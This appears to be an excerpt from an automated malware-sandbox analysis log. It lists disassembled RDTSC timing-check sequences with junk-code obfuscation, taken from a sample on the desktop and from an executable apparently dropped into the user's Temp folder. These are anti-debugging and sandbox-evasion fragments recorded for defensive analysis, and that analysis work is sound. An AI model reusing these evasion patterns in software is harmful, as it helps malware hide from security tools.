Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D62 second address: 4940D95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushfd 0x00000007 jmp 00007FCDDCF97D20h 0x0000000c adc ecx, 1C4A7538h 0x00000012 jmp 00007FCDDCF97D1Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D95 second address: 4940D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D99 second address: 4940D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940D9D second address: 4940DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940EF6 second address: 4940F09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FCDDCF97D1Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940F34 second address: 4940F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940F3A second address: 4940F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940F3E second address: 4940F8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007FCDDCC991E6h 0x00000012 je 00007FCE4EC9CBECh 0x00000018 jmp 00007FCDDCC991E0h 0x0000001d cmp dword ptr [ebp+08h], 00002000h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496038D second address: 49603F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FCDDCF97D1Eh 0x0000000f push eax 0x00000010 jmp 00007FCDDCF97D1Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FCDDCF97D26h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FCDDCF97D27h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49603F7 second address: 49603FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49603FD second address: 4960426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCDDCF97D25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4960426 second address: 496047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCC991E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FCDDCC991E7h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FCDDCC991E6h 0x00000018 or ah, FFFFFFB8h 0x0000001b jmp 00007FCDDCC991DBh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496047C second address: 49604AE instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 jmp 00007FCDDCF97D22h 0x0000000d mov esi, dword ptr [ebp+0Ch] 0x00000010 pushad 0x00000011 push esi 0x00000012 jmp 00007FCDDCF97D1Dh 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a mov ax, dx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49604AE second address: 496051F instructions: 0x00000000 rdtsc 0x00000002 movsx edi, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test esi, esi 0x0000000a jmp 00007FCDDCC991E2h 0x0000000f je 00007FCE4EC870C3h 0x00000015 pushad 0x00000016 jmp 00007FCDDCC991DEh 0x0000001b mov si, F331h 0x0000001f popad 0x00000020 cmp dword ptr [769B459Ch], 05h 0x00000027 jmp 00007FCDDCC991DCh 0x0000002c je 00007FCE4EC9F176h 0x00000032 pushad 0x00000033 mov si, AFDDh 0x00000037 mov cx, 6CD9h 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov edx, 0925A5E4h 0x00000045 call 00007FCDDCC991DDh 0x0000004a pop eax 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49605A3 second address: 49605AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 2A5F9EFCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49605AD second address: 49605B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49605E5 second address: 49605E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 4DE5F4 second address: 4DE60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991E3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 4DE60C second address: 4DDED5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCDDCF97D29h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d clc 0x0000000e push dword ptr [ebp+122D1209h] 0x00000014 jno 00007FCDDCF97D28h 0x0000001a call dword ptr [ebp+122D1EBDh] 0x00000020 pushad 0x00000021 mov dword ptr [ebp+122D1E0Dh], ecx 0x00000027 xor eax, eax 0x00000029 pushad 0x0000002a mov ebx, dword ptr [ebp+122D3DCDh] 0x00000030 mov ebx, dword ptr [ebp+122D3C4Dh] 0x00000036 popad 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b sub dword ptr [ebp+122D1E0Dh], esi 0x00000041 mov dword ptr [ebp+122D3A81h], eax 0x00000047 jmp 00007FCDDCF97D1Eh 0x0000004c mov esi, 0000003Ch 0x00000051 jmp 00007FCDDCF97D26h 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a cmc 0x0000005b mov dword ptr [ebp+122D1E0Dh], ecx 0x00000061 lodsw 0x00000063 js 00007FCDDCF97D1Ch 0x00000069 mov dword ptr [ebp+122D1E0Dh], edi 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jmp 00007FCDDCF97D1Eh 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c jmp 00007FCDDCF97D23h 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 jl 00007FCDDCF97D1Ch 0x0000008a jns 00007FCDDCF97D16h 0x00000090 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 4DDED5 second address: 4DDEF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64CEE7 second address: 64CEFB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FCDDCF97D16h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64CEFB second address: 64CF07 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007FCDDCC991D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64CF07 second address: 64CF11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FCDDCF97D16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64CF11 second address: 64CF1B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCDDCC991D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D04B second address: 64D051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D051 second address: 64D057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D057 second address: 64D060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D189 second address: 64D1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCDDCC991D6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007FCDDCC991D6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007FCDDCC991E6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jnl 00007FCDDCC991D8h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D1C3 second address: 64D1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCDDCF97D16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D1CE second address: 64D1E4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCDDCC991DCh 0x00000008 jo 00007FCDDCC991DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D31A second address: 64D31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 64D31F second address: 64D329 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCDDCC991DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6510A0 second address: 6510A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6510A4 second address: 4DDED5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCDDCC991D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FCDDCC991DAh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push edx 0x00000016 ja 00007FCDDCC991DCh 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ch, 08h 0x00000020 push dword ptr [ebp+122D1209h] 0x00000026 add dword ptr [ebp+122D1D00h], edi 0x0000002c call dword ptr [ebp+122D1EBDh] 0x00000032 pushad 0x00000033 mov dword ptr [ebp+122D1E0Dh], ecx 0x00000039 xor eax, eax 0x0000003b pushad 0x0000003c mov ebx, dword ptr [ebp+122D3DCDh] 0x00000042 mov ebx, dword ptr [ebp+122D3C4Dh] 0x00000048 popad 0x00000049 mov edx, dword ptr [esp+28h] 0x0000004d sub dword ptr [ebp+122D1E0Dh], esi 0x00000053 mov dword ptr [ebp+122D3A81h], eax 0x00000059 jmp 00007FCDDCC991DEh 0x0000005e mov esi, 0000003Ch 0x00000063 jmp 00007FCDDCC991E6h 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c cmc 0x0000006d mov dword ptr [ebp+122D1E0Dh], ecx 0x00000073 lodsw 0x00000075 js 00007FCDDCC991DCh 0x0000007b mov dword ptr [ebp+122D1E0Dh], edi 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 jmp 00007FCDDCC991DEh 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e jmp 00007FCDDCC991E3h 0x00000093 push eax 0x00000094 push eax 0x00000095 push edx 0x00000096 jl 00007FCDDCC991DCh 0x0000009c jns 00007FCDDCC991D6h 0x000000a2 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6511ED second address: 651218 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [ebp+12446FCCh] 0x0000000f jmp 00007FCDDCF97D1Ch 0x00000014 xchg eax, ebx 0x00000015 jbe 00007FCDDCF97D24h 0x0000001b pushad 0x0000001c jg 00007FCDDCF97D16h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 651218 second address: 651228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jns 00007FCDDCC991E4h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 651228 second address: 65122C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6512D4 second address: 6512D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6512D8 second address: 651332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FCDDCF97D1Ch 0x0000000c jp 00007FCDDCF97D16h 0x00000012 popad 0x00000013 add dword ptr [esp], 004887EAh 0x0000001a jmp 00007FCDDCF97D22h 0x0000001f push 00000003h 0x00000021 mov ecx, dword ptr [ebp+122D3C49h] 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D38C2h] 0x0000002f push 00000003h 0x00000031 pushad 0x00000032 add bx, C2C3h 0x00000037 mov esi, ecx 0x00000039 popad 0x0000003a push F27FE5DFh 0x0000003f push eax 0x00000040 push edx 0x00000041 jng 00007FCDDCF97D1Ch 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 651332 second address: 65134C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCDDCC991E6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6513CC second address: 651402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDDCF97D1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FCDDCF97D1Ch 0x0000000f jne 00007FCDDCF97D16h 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 push 00000000h 0x0000001b mov si, 5465h 0x0000001f push FABF6985h 0x00000024 push eax 0x00000025 push edx 0x00000026 jl 00007FCDDCF97D18h 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 651402 second address: 65148A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCDDCC991DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 054096FBh 0x00000011 mov di, si 0x00000014 push 00000003h 0x00000016 add edi, 04BAD0FBh 0x0000001c push 00000000h 0x0000001e xor edi, 3CA66D30h 0x00000024 push 00000003h 0x00000026 mov dx, F821h 0x0000002a stc 0x0000002b push A53EDB2Eh 0x00000030 push ecx 0x00000031 push eax 0x00000032 jc 00007FCDDCC991D6h 0x00000038 pop eax 0x00000039 pop ecx 0x0000003a xor dword ptr [esp], 653EDB2Eh 0x00000041 push 00000000h 0x00000043 push edi 0x00000044 call 00007FCDDCC991D8h 0x00000049 pop edi 0x0000004a mov dword ptr [esp+04h], edi 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc edi 0x00000057 push edi 0x00000058 ret 0x00000059 pop edi 0x0000005a ret 0x0000005b mov di, ax 0x0000005e lea ebx, dword ptr [ebp+12446FE0h] 0x00000064 mov cl, E6h 0x00000066 xchg eax, ebx 0x00000067 jmp 00007FCDDCC991DCh 0x0000006c push eax 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 65148A second address: 65148E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 670D09 second address: 670D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 670D0F second address: 670D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 670D15 second address: 670D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 670D19 second address: 670D27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 670D27 second address: 670D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671151 second address: 671169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCDDCF97D23h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671169 second address: 67116F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671426 second address: 671446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCDDCF97D24h 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FCDDCF97D16h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671446 second address: 67144C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67170F second address: 671719 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCDDCF97D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671B82 second address: 671B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCDDCC991D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671B8D second address: 671B9A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCDDCF97D18h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671B9A second address: 671BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671BA8 second address: 671BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671BAC second address: 671BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671BB0 second address: 671BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCDDCF97D1Dh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671D55 second address: 671D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671D59 second address: 671D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671D5D second address: 671D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FCDDCC991E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 671D6D second address: 671DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCDDCF97D16h 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FCDDCF97D1Bh 0x00000014 popad 0x00000015 popad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FCDDCF97D27h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6669C6 second address: 6669CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 63E693 second address: 63E697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 67278F second address: 6727A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCDDCC991E1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6727A5 second address: 6727AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 6727AD second address: 6727B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 672BD7 second address: 672BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	RDTSC instruction interceptor: First address: 672BDB second address: 672BE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCDDCC991D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
